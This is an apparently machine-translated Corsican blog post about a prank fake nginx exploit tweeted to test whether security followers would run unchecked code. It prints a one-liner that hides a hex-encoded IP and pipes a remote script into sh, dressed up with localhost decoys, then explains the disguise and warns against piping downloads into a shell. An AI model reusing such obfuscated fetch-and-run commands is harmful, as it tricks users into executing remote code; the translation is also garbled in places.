U successu di un esperimentu suciale cù un sfruttamentu falsu per nginx

Nota. transl.: auturi nota uriginale, publicata u 1 di ghjugnu, hà decisu di fà un esperimentu trà quelli chì anu interessatu à a sicurità di l'infurmazioni. Per fà questu, hà preparatu un sfruttamentu falsu per una vulnerabilità micca divulgata in u servitore web è l'hà publicatu in u so Twitter. E so supposizioni - per esse immediatamente esposte da i specialisti chì vederanu l'ingannimentu evidenti in u codice - ùn solu ùn sò micca diventati realità ... Superanu tutte e aspettative, è in a direzzione opposta: u tweet hà ricevutu un sustegnu enormu da numerosi persone chì ùn anu micca. verificate u so cuntenutu.

U successu di un esperimentu suciale cù un sfruttamentu falsu per nginx

TL; DR: Ùn aduprate micca a pipeline di file in sh o bash in alcuna circustanza. Quissa hè una bella manera di perde u cuntrollu di u vostru urdinatore.

Vogliu sparte cun voi una storia corta nantu à un sfruttatu PoC comicu chì hè statu creatu u 31 di maghju. Hè apparsu subitu in risposta à e nutizie da Alisa Esage Shevchenko, membru Iniziativa Zero Day (ZDI), chì l'infurmazione nantu à una vulnerabilità in NGINX chì porta à RCE (esecuzione di codice remota) serà prestu divulgata. Siccomu NGINX alimenta parechji siti web, a nutizia deve esse stata una bomba. Ma per via di ritardi in u prucessu di "divulgazione rispunsevule", i dettagli di ciò chì hè accadutu ùn sò micca cunnisciuti - questu hè u prucedimentu standard ZDI.

U successu di un esperimentu suciale cù un sfruttamentu falsu per nginx
Tweet circa a divulgazione di vulnerabilità in NGINX

Dopu avè finitu di travaglià in una nova tecnica di offuscazione in curl, aghju citatu u tweet originale è "filtratu un PoC di travagliu" custituitu da una sola linea di codice chì suppostamente sfrutta a vulnerabilità scuperta. Di sicuru, questu era un scioccu cumpletu. Aghju presumitu chì avissi da esse subitu espostu, è chì in u megliu aghju avutu un paru di retweets (oh bè).

U successu di un esperimentu suciale cù un sfruttamentu falsu per nginx
Tweet cun sfruttamentu falsu

Tuttavia, ùn pudia micca imagine ciò chì successe dopu. A popularità di u mo tweet hà sappiutu. Sorprendentemente, à u mumentu (15: 00 Mosca ora 1 di ghjugnu) pochi persone anu capitu chì questu hè un falsu. Parechje persone u retweet senza cuntrollà in tuttu (per ùn dì micca ammirazione di a bella grafica ASCII chì produce).

U successu di un esperimentu suciale cù un sfruttamentu falsu per nginx
Basta à vede quantu hè bella!

Mentre chì tutti questi loops è i culori sò grandi, hè chjaru chì a ghjente hà avutu à eseguisce codice in a so macchina per vede. Per furtuna, i navigatori funzionanu in listessa manera, è cumminati cù u fattu chì ùn aghju micca veramente vulutu mette in prublemi legali, u codice intarratu in u mo situ era solu fà ecu chjama senza pruvà à stallà o eseguisce alcun codice supplementu.

Una piccula digressione: netspooky, dnz, mè è l'altri ragazzi di a squadra Folla di magazzini Avemu ghjucatu cù diverse manere di offuscate i cumandamenti curl per un pocu tempu perchè hè cool... è simu geeks. netspooky è dnz anu scupertu parechji metudi novi chì mi parevanu assai promettenti. Aghju aghjustatu in u divertimentu è pruvatu à aghjunghje cunversione IP decimali à u saccu di trucchi. Si gira fora chì IP pò ancu esse cunvertiti in furmatu hexadecimal. Inoltre, curl è a maiò parte di l'altri strumenti NIX manghjanu felicemente IP esadecimali! Allora era solu una questione di creà una linea di cummanda cunvinta è sicura. In fine, aghju stabilitu nantu à questu:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Ingegneria socio-elettronica (SEE) - più cà solu phishing

A sicurezza è a familiarità eranu una parte maiò di stu esperimentu. Pensu chì sò ciò chì hà purtatu à u so successu. A linea di cummanda implicava chjaramente a sicurità riferenu à "127.0.0.1" (u localhost ben cunnisciutu). Localhost hè cunsideratu sicuru è i dati nantu à questu ùn lascianu mai u vostru urdinatore.

A familiarità era a seconda parte chjave SEE di l'esperimentu. Siccomu u publicu di destinazione era principalmente di persone familiarizati cù i principii di a sicurità di l'informatica, era impurtante di creà codice per chì e parte di ellu parevanu familiari è familiari (è dunque sicuru). Elementi di prestitu di vechji cuncetti di sfruttamentu è cumminendu in modu inusual hà dimustratu assai successu.

Quì sottu hè un analisi detallatu di u one-liner. Tuttu in questa lista porta natura cusmetica, è praticamenti nunda hè necessariu per u so funziunamentu propiu.

Chì cumpunenti sò veramente necessarii? Questu -gsS, -O 0x0238f06a, |sh è u servitore web stessu. U servitore web ùn cuntene micca struzzioni maliziusi, ma simpricamente serve gràfiche ASCII cù cumandamenti echo in u script cuntenutu in index.html. Quandu l'utilizatore hà intrutu in una linea cù |sh à mezu, index.html caricatu è eseguitu. Fortunatamente, i custodi di u servitore web ùn anu micca malati intenzioni.

  • ../../../%00 - rapprisenta andendu oltre u cartulare;
  • ngx_stream_module.so - percorsu à un modulu NGINX aleatoriu;
  • /bin/sh%00<'protocol:TCP' - Si suppone chì lanciamu /bin/sh nantu à a macchina di destinazione è redirige l'output à u canali TCP;
  • -O 0x0238f06a#PLToffset - ingredientu secretu, supplementatu #PLToffset, per vede cum'è un offset di memoria in qualchì modu cuntenutu in u PLT;
  • |sh; - un altru fragmentu impurtante. Avemu bisognu di reindirizzà l'output à sh/bash per eseguisce u codice chì vene da u servitore web attaccante situatu à 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - un manichino in quale netcat si riferisce /dev/tcp/localhostcusì chì tuttu pare torna sicuru. In fatti, ùn faci nunda è hè inclusu in a linea per a bellezza.

Questu cuncludi a decodificazione di u scrittore di una linea è a discussione di aspetti di "ingenieria socio-elettronica" (phishing intricatu).

Cunfigurazione di u Servitore Web è Contramisuri

Siccomu a maiò parte di i mo abbonati sò infosec / pirate, decisu di fà u servitore web un pocu più resistente à l'espressioni di "interessu" da a so parte, solu per chì i picciotti avianu qualcosa da fà (è saria divertitu à fà). istituisci). Ùn aghju micca elencu tutte e trappule quì postu chì l'esperimentu hè sempre in corso, ma quì sò uni pochi di cose chì u servitore face:

  • Monitora attivamente i tentativi di distribuzione in certe rete suciale è rimpiazza diverse miniature di anteprima per incuragisce l'utilizatore à cliccà nantu à u ligame.
  • Redirects Chrome/Mozilla/Safari/etc à u video promozionale Thugcrowd invece di mostrà u script di shell.
  • Watches per i segni OBVIOUS di intrusione / pirate flagrante, è dopu principia a redirezzione di e dumande à i servitori NSA (ha!).
  • Installa un Trojan, è ancu un rootkit BIOS, in tutti l'urdinatori chì l'utilizatori visitanu l'ospitu da un navigatore regulare (ghju scherzu!).

U successu di un esperimentu suciale cù un sfruttamentu falsu per nginx
Una piccula parte di antimeri

In questu casu, u mo solu scopu era di ammaistrà alcune di e caratteristiche di Apache - in particulare, e regule fresche per a redirezzione di e dumande - è aghju pensatu: perchè micca?

NGINX Exploit (Real!)

Arrugà si à @alisaesage in Twitter è seguite u grande travagliu di ZDI in l'indirizzu di vulnerabili assai reali è sfruttate l'opportunità in NGINX. U so travagliu m'hà sempre affascinatu è aghju ringraziatu à Alice per a so pacienza cù tutte e menzioni è notificazioni chì u mo stupidu tweet hà causatu. Fortunatamente, hà ancu fattu un bonu bonu: hà aiutatu à sensibilizà e vulnerabilità di NGINX, è ancu i prublemi causati da l'abusu di curl.

Source: www.habr.com

Add a comment